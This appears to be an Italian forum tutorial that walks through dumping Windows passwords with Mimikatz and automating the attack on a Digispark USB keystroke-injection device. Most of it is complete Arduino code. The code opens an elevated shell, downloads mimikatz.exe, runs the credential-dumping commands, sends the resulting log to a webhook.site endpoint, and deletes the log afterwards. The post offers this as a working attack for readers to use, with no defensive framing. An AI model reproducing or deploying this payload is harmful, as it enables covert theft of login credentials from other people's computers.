Guida Mimikatz e Digispark

0xGhost

Utente Electrum
22 Febbraio 2022
177
32
138
186
Ultima modifica:
Se avete visto mr. robot vi ricordete sicuramente di quando Angela doveva smanettare con la femtocella e che se non ci fosse riuscita avrebbe dovuto prendere una rubber ducky con dentro Mimikatz e metterla in un PC, ecco, oggi facciamo la stessa cosa ma con la Digispark.
rubber-robot.png

mr. robot: stagione 2, episodio 6
Occorenti:
1. Mimikatz
Katz è un Exploit scritto in C per Windows che riesce ad estrarre hash, pin, password in chiaro e molto altro dalla RAM, Scarichiamo il file .zip da Github ed estraiamo la cartella x64 se il nostro Windows è a 64 bit o Win32 se è a 32 bit; io lavoro da Windows 7 in virtual machine quindi userò quest'ultimo, runniamolo come root facendo clic destro e andando sulla voce Run as administrator:
run-as.png
Ora siamo pronti ad usare l'Exploit, scriviamo:
Codice:
privilege::debug
log
sekurlsa::logonpassword
mimikatz.png
Col primo comando verifichiamo se abbiamo i diritti di root, se esceprivilege '20' OK possiamo continuare, poi creiamo un file di log, dove verranno registrati tutti i comandi con i relativi input e infine col terzo mostriamo a schermo tutte le password che Windows salva in chiaro nella RAM:
pass-win7-mimikatz.png
Se scorriamo giù possiamo vedere la password dell'account Windows: Passw0rd!
All'inizio abbiamo creato un file di log, mimikatz.log, dentro a quel file ci sta tutto l'output mandato a schermo dal tool, quindi per completare il nostro attacco basta inviarci quel file.

2. Creazione del Payload
Ora programmiamo con Wiring un payload che andrà a scaricare mimikatz.exe e
Apriamo l'IDE di Arduino e iniziamo a programmare, ci servirà la libreria KeybaordES.h, si può scaricare da qui, per poterla usare la si deve aggiungere alla cartella appdata>local>arduino 15>packages>digistump>hardware>avr>libraries>digisparkkeyboard, questo è il codice:
C++:
#include "KeyboardES.h"

void setup() {
  // Download mimikatz.exe
  DigiKeyboard.delay(1000);
  DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
  DigiKeyboard.delay(200);
  DigiKeyboard.print("powershell start-process cmd -Verb runAs");
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(300);
  DigiKeyboard.sendKeyStroke(KEY_A);
  DigiKeyboard.delay(1000);
  DigiKeyboard.sendKeyStroke(KEY_S, MOD_ALT_LEFT);
  DigiKeyboard.delay(300);
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(200);
  DigiKeyboard.print("powershell (new-object System.Net.WebClient).DownloadFile('link download mimikatz,'mimikatzexe'");
  DigiKeyboard.delay(700);
  DigiKeyboard.print("exit");
  // Start root mimikatz
  DigiKeyboard.delay(1000);
  DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
  DigiKeyboard.delay(200);
  DigiKeyboard.print("powershell start-process C:/Windows/System32/mimikatz.exe -Verb runAs");
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(300);
  DigiKeyboard.sendKeyStroke(KEY_A);
  DigiKeyboard.delay(1000);
  DigiKeyboard.sendKeyStroke(KEY_S, MOD_ALT_LEFT);
  DigiKeyboard.delay(300);
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(700);
  // password extraction
  DigiKeyboard.print("privilege::debug");
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(100);
  DigiKeyboard.print("log");
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(100);
  DigiKeyboard.print("sekurlsa::logonpasswords");
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(1000);
  DigiKeyboard.print("exit");
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  // Send log file
  DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
  DigiKeyboard.delay(800);
  DigiKeyboard.print("powershell start-process cmd -Verb runAs");
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(300);
  DigiKeyboard.sendKeyStroke(KEY_A);
  DigiKeyboard.delay(1000);
  DigiKeyboard.sendKeyStroke(KEY_S, MOD_ALT_LEFT);
  DigiKeyboard.delay(300);
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(700);
  DigiKeyboard.print("powershell Invoke-WebRequest -UseBasicParsing -uri https://webhook.site/1d0c0f77-a605-45ab-ae63-3294f9716698 -Method  POST -InFile mimikatz.log");
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(800);
  // Deletions of katz, log files, and history
  DigiKeyboard.print("del C:/Windows/System32/mimikatz/mimikatz.log");
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.print("exit");

  DigiKeyboard.delay(100);
}

void loop() {
  // put your main code here, to run repeatedly:

}
Ora carichiamolo sulla digispark e testiamolo (Se qualcosa non va controllate bene i percosi dei file), teniamo aperto il nostro sito WebHook e inseriamo la chiavetta digispark nel PC:
mimi-digi.gif
Dopo circa 15 secondi dovrebbe aver finito, leviamo la chiavetta e torniamo al nostro PC per vedere tutte le informazione estratte:
Immagine 2022-06-14 150133.png
Il file di log è arrivato correttamente al nostro sito WebHook.

./ghxst